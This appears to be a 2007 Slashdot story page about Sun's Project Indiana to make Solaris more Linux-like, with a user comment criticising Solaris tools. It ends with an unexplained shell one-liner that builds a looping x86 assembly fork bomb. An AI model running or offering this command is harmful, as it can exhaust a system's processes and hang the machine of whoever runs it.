Sun to Make Solaris More Linux Like

Posted by samzenpus on Wednesday May 9, 2007 @04:46PM from the imitation-is-the-sincerest-form-of-flattery dept.

ramboando writes "In an effort to spur adoption of Solaris, Sun Microsystems has begun a project code-named Indiana to try to give its operating system some of Linux's success. Sun has been trying for years to restore the luster of Solaris, but that since has faced a strong challenge chiefly from Linux. Sun wants to embrace some Linux elements so "we make Solaris a better Linux than Linux," said Ian Murdock, Sun's chief operating systems officer, quoting Netscape co-founder Marc Andreessen, whose latest start-up, Ning, uses Solaris. But it's a tricky balance to adopt elements of Linux while preserving Solaris technology and advantages such as the promise of backward compatibility. "As we make Solaris more familiar to Linux users, we don't [want to] lose what makes it more compelling and competitive.""

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Re:First Java open-sourced, now this... go Sun! by Hal_Porter · 2007-05-09 22:02 · Score: 5, Funny

Solaris grep in particular is horrible.
vi breaks every time you expand your console beyond 132 characters, and quite a few of the tools on the default PATH don't conform to any modern standard - including POSIX.
Windows with SFU provides a more compatible UNIX environment than what you get out of the box with Solaris.

Somewhere in Redmond, a demon just snorted gasoline and battery acid onto it's keyboard.

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echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;